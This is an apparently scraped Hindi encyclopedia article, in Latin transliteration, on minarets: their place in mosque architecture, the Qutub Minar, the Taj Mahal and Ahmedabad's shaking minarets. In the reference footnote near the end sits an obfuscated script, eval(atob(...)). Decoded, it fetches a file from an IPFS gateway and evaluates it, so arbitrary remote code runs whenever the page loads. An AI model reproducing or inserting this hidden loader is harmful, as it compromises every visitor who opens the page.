मीनार
minar
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| vivaran | 'minar' islami sthapaty ka mahattvapoorn aang hai. yah kisi bhi masjid ka khas hissa hota hai, jisase azan dene vala khudaparastoan ko namaz ada karane ke lie avaz deta hai. |
| shaili | islami |
| akriti | samanyatah minar belanakar, lambe aur oopar se pyazanuma mukut se susajjit hote haian. |
| vishal minar | uttar afrika mean sabase purani minar tyoonishiya ke 'al qairavan' mean hai. is vishal vargakar minar ka nirman 724 se 737 ee. ke bich kiya gaya tha. |
| vishesh | haidarabad ke paryatan akarshanoan mean 'siddi bashir masjid' ki anoothi hilati minarean khas haian. jab ek minar ko hilaya jata hai, to usaka kanpan doosari tak pahuanchata hai. |
| sanbandhit lekh | qutub minar, charaminar |
| any janakari | apani ooanchaee ke karan qutub minar 20vian sadi tak dilli ki sabase ooanchi imarat thi. isake bad any ooanchi adhunik imaratean banaee geean. |
minar ek aise sthapaty ko kaha jata hai, jo stambhanuma akar ka hota hai. yah dekhane mean kisi am burz se adhik lamba tatha kuchh khiancha hua sa dikhaee deta hai. minar ek arabi shabd hai, jisaka arth hai- 'dip stambh'. samanyatah minar belanakar, lambe aur oopar se pyazanuma mukut se susajjit hote haian. ve asapas ki imaratoan se adhik ooanche hote haian aur aksar muslim masjidoan ke sath lage hue pae jate haian. is akriti ka islam se ghanishth sambandh hai.
masjid ka abhinn bhag
minar kisi bhi masjid ka abhinn bhag hai. islami dharmik vastukala mean minar, jisase 'muazzin' ya azan dene vala khudaparastoan ko pratyek din paanch bar namaz ada karane ke lie avaz deta hai. aisi minar hamesha masjid se ju di rahati hai aur isamean ek ya adhik jharokhe ya khuli dirghaean hoti haian. paigambar muhammad ke samay namaz ke lie azan masjid ke pas vali sabase ooanchi chhat se di jati thi. prarambhik minarean poorv yoonani burz aur eesaee girajagharoan ke stanbh thian.[1]
vishal minar
uttar afrika mean sabase purani minar tyoonishiya mean 'al qairavan' mean hai. is vishal vargakar minar ka nirman 724 se 737 ee. ke bich kiya gaya tha.
sanrachana
samara (iraq) mean nirmit bauni, sarpil dhaanchoan vali (848-852 ee. mean nirmit) v moti minaroan se lekar ooanchi, utkrisht v patali peansil jaise shikharoan vali vividh svaroopoan ki minaroan ka nirman kiya gaya hai. usaka adhar aksar chaukor hota hai. jahaan minar masjid se ju di hoti hai, vahaan is chaukor adhar ke oopar yah kee golakar, shatkoniy ya ashtakoniy charanoan mean nirmit hoti hai. pratyek minar mean bahar ki or nikala hua jharokha hota hai. isake shirsh par gol guanbad, khula mandap ya dhatu se madha shanku hota hai. minar ka oopari hissa aksar naqqashi se saja rahata hai. sidhiyaan bahar ya bhitar ho sakati haian. pratyek masjid mean ek se chhah tak minaroan ki sankhya bhi alag-alag hoti hai. ye minarean door se dikhane vali aur us sthan par islami parivesh ki chhap vali 'islam ki nishani' ke roop mean banaee gee thian.[1]
bharatiy islami vastukala
bharatiy-islami vastukala mean minar ka vikas kafi der bad hua. pahale yah islam ki taqat ki pratik thi aur masjid mean alag banaee jati thi. bad mean yah mukhy dhaanche ke hisse ke roop mean vikasit huee. bharatiy islami vastukala ke praranbhik udaharanoan mean dilli ki qutub minar (1200 ee.) khudaparastoan ko namaz ke lie azan nahian deti thi, balki islam ki ghoshana karati thi.[[chitr:Tajmahal-10.jpg|left|thumb|220px|tajamahal ki minarean]] isaki ooanchaee ke karan 20vian sadi tak yah dilli ki sabase ooanchi imarat thi. isake bad any ooanchi adhunik imaratean ban geean.
qutub minar mool roop se 73 mitar ooanchi thi aur isamean bad ke sanyojan 14vian sadi mean jo de ge. isamean char manzilean haian, jo oopar ki or kramash: patali hoti chali jati haian. pratyek manzil ke anuprasth kat ka alag svaroop hai. charoan taloan par jharokhoan ko naqqashidar arohi nikshep divaragir sanbhale he haian, jabaki bahar ki taraf bharatiy karigaroan dvara sulikhit ayatoan se saji divarean haian.
bad ke kal mean minarean islami imaratoan, jaise- masjidoan evan maqabaroan ka abhinn hissa ban geean. agara mean mugal badashah shahajahaan dvara nirmit 'tajamahal' (1648 ee.) ki imarat ke charoan konoan par pattharoan se nirmit shanadar dhang se anupatik char minarean tajamahal ki santulit vastushilp rachana ke chaukhate ka kam karati haian.[1]
hilati minarean
15vian sadi se ahamadabad (gujarat) bharat-islami vastushilp ki vikasit praantiy shaili ka mahattvapoorn keandr tha. shahar ke paryatan akarshanoan mean 'siddi bashir masjid' ki anoothi hilati minarean haian. jab ek minar ko hilaya jata hai, to usaka kanpan doosari tak pahuanchata hai. yahaan tak ki ek minar ke shirsh se ludhakati geand se doosari bhi gooanj uthati hai. pratyek minar tin manzil ooanchi (21.34 mitar) hai aur mahin naqqashi vale patthar ke galiyaroan se ju di huee hai, jo kanpan ko ek minar se doosari tak sanpreshit karati hai. hilati minarean shahar ki any masjidoan ki bhi khasiyat haian. eeran mean isfahan mean 14vian sadi ki minaroan "monar-e-joanbaan" mean bhi ahamadabad ki minar jaisi visheshataean haian.
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chitr vithika
- chitr:Qutub-Minar.jpg
- chitr:Isar-Lat-Udaipur.jpg
- chitr:Shahid-Minar-kolkata.jpg
- chitr:Kosminar-GT-road-Delhi.jpg
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 bharat jnanakosh, khand-4 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 367 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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